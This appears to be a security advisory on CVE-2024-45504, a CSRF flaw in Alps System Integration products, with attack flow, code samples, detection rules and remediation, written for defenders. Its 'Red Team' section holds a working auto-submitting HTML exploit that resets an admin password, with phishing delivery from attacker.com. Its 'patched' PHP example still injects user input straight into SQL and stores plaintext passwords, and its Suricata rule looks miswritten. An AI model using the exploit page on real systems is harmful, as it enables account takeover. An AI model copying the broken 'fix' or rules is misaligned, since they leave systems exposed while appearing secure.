CVE-2024-45504

Executive Summary

CVE-2024-45504 is a Cross-Site Request Forgery (CSRF) vulnerability affecting multiple products from Alps System Integration and their OEM counterparts. This vulnerability allows a remote, unauthenticated attacker to hijack the authentication of a logged-in user and perform unintended operations on the affected system. The attack is triggered when a logged-in user views a malicious web page crafted by the attacker. The CVSS score is listed as 0.0, indicating insufficient data for scoring, but the inherent risk of CSRF in administrative or sensitive operations is high. No public proof-of-concept (PoC) code, exploit, or patch details are currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded systems and OEM products from Alps System Integration.

CVSS Breakdown & Threat Level

The CVSS score is reported as 0.0, which typically indicates that the CVSS vector has not been assigned or calculated. However, based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) - The attacker can trigger the attack remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must be logged in and view a malicious page.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - The attacker can perform actions that may expose sensitive data.
• Integrity (I): High (H) - The attacker can modify data or system state.
• Availability (A): High (H) - The attacker could disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. While no active exploitation is reported, the potential for account takeover and unauthorized operations makes this a critical concern for organizations using these products.

Deep Dive & Mechanics

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. In this case, the vulnerability exists in multiple Alps System Integration products and their OEM counterparts.

Attack Flow:

1. Victim Authentication: The victim (user) is logged into the vulnerable Alps System Integration product (e.g., a web-based management interface).
2. Attacker Crafting: The attacker crafts a malicious web page or email containing a forged request (e.g., an HTML form, an image tag, or a JavaScript payload) that targets a sensitive action on the vulnerable product (e.g., changing an admin password, modifying system settings, or exfiltrating data).
3. Victim Interaction: The victim, while still authenticated to the vulnerable product, visits the attacker's malicious page (e.g., via a phishing email or a compromised website).
4. Request Execution: The victim's browser automatically sends the forged request to the vulnerable product, including the victim's session cookies (if the product relies solely on cookies for authentication).
5. Action Performed: The vulnerable product processes the request as if it came from the legitimate user, performing the unintended operation.

Root Cause: The vulnerability stems from the lack of proper CSRF protection mechanisms, such as:

• Anti-CSRF tokens (nonces) in forms.
• SameSite cookie attributes.
• Origin/Referer header validation.
• Custom request headers (e.g., X-Requested-With).

Vulnerable vs. Patched Code

No specific code or patch details are available. However, a typical vulnerable code pattern and its patched counterpart are provided for illustration.

Vulnerable Code (PHP Example):

<?php
// vulnerable.php - No CSRF protection
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $new_password = $_POST['new_password'];
    // Update password in database
    $db->query("UPDATE users SET password = '$new_password' WHERE id = " . $_SESSION['user_id']);
    echo "Password changed successfully.";
}
?>

Patched Code (PHP Example):

<?php
// patched.php - With CSRF token validation
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF token validation failed.");
    }
    $new_password = $_POST['new_password'];
    // Update password in database
    $db->query("UPDATE users SET password = '$new_password' WHERE id = " . $_SESSION['user_id']);
    echo "Password changed successfully.";
}
?>

Exploitation & Lab Setup

No public exploit code is available. The following is a generic CSRF exploitation scenario.

Red Team (Attacker) Perspective

Lab Setup:

1. Target: A vulnerable Alps System Integration product (e.g., a web-based admin panel) running on http://target.local.
2. Attacker Machine: Kali Linux or any system with a web server (e.g., Apache, Python HTTP server).
3. Victim: A user logged into the target product.

Exploitation Steps:

1. Identify Sensitive Action: Determine a state-changing action on the target (e.g., changing an admin password via POST /admin/change_password).
2. Craft Malicious Page: Create an HTML file (exploit.html) that automatically submits a form to the target.

<!DOCTYPE html>
<html>
<body>
<h1>Click this link to win a prize!</h1>
<form id="csrf_form" action="http://target.local/admin/change_password" method="POST">
    <input type="hidden" name="new_password" value="hacked123">
    <input type="hidden" name="confirm_password" value="hacked123">
    <input type="submit" value="Click here">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

3. Host the Page: Serve the file using a web server: python3 -m http.server 8080.
4. Deliver Payload: Send the link (http://attacker.com:8080/exploit.html) to the victim via phishing email or social engineering.
5. Execute: When the victim (logged into the target) visits the link, the form auto-submits, changing the password to hacked123.

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual POST requests to sensitive endpoints without proper CSRF tokens.
• Analyze web server logs for requests with unexpected Referer headers or missing Origin headers.
• Deploy Web Application Firewall (WAF) rules to block requests lacking CSRF tokens.

Mitigation:

• Implement anti-CSRF tokens (nonces) in all forms and state-changing requests.
• Set SameSite cookie attribute to Lax or Strict.
• Validate Origin and Referer headers.
• Use custom request headers (e.g., X-Requested-With: XMLHttpRequest) for AJAX requests.

Indicators of Compromise (IOCs)

No specific IOCs are available for this CVE. Generic CSRF attack indicators include:

• Network:
  • HTTP requests to sensitive endpoints (e.g., /admin/change_password, /config/save) with no Referer header or a Referer header from an unexpected domain.
  • POST requests with a high number of parameters or unusual parameter names.
• Host:
  • Unexpected changes to user accounts, passwords, or system configurations.
  • Log entries showing actions performed by users at unusual times or from unusual IP addresses.
• File:
  • Presence of malicious HTML files on web servers (if the attacker compromises the server).

Detection Engineering

YARA Rule

rule Detect_CSRF_Exploit_Page {
    meta:
        description = "Detects HTML pages containing CSRF exploit forms targeting Alps System Integration products"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45504"
    strings:
        $form = /<form[^>]*action=["']http:\/\/[^"']*\/admin\/[^"']*["']/
        $hidden_input = /<input[^>]*type=["']hidden["'][^>]*>/
        $auto_submit = /document\.getElementById\(['"][^'"]*['"]\)\.submit\(\)/
    condition:
        all of them
}

Sigma Rule

title: CSRF Attack Against Alps System Integration Products
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects potential CSRF attacks by monitoring for POST requests to sensitive endpoints without a valid Referer header.
author: Valters IT
date: 2024/10/27
tags:
    - attack.t1204
    - attack.t1566
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/'
    filter:
        cs-referer|startswith: 'http://target.local/'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the same domain
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45504 CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/"; http_uri; pcre:"/Referer:\s*[^\r\n]*$/Pi"; reference:cve,2024-45504; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, isolate the vulnerable products from the internet and untrusted networks.
2. Implement CSRF Protection: If you have access to the source code or configuration, add anti-CSRF tokens, validate Origin/Referer headers, and set SameSite cookie attributes.
3. Monitor Logs: Review web server and application logs for signs of CSRF exploitation.

Long-Term Fixes:

1. Vendor Patch: Contact Alps System Integration for an official patch or firmware update. Monitor their security advisory page.
2. Web Application Firewall (WAF): Deploy a WAF with rules to block requests lacking CSRF tokens or with suspicious Referer headers.
3. User Education: Train users to avoid clicking on suspicious links while logged into administrative interfaces.
4. Network Segmentation: Place vulnerable products behind a VPN or dedicated management network.

Workarounds:

• Disable unused web interfaces or features.
• Use browser extensions that enforce CSRF protection (e.g., CSRF Protector).

Valters IT
Securing Digital Frontiers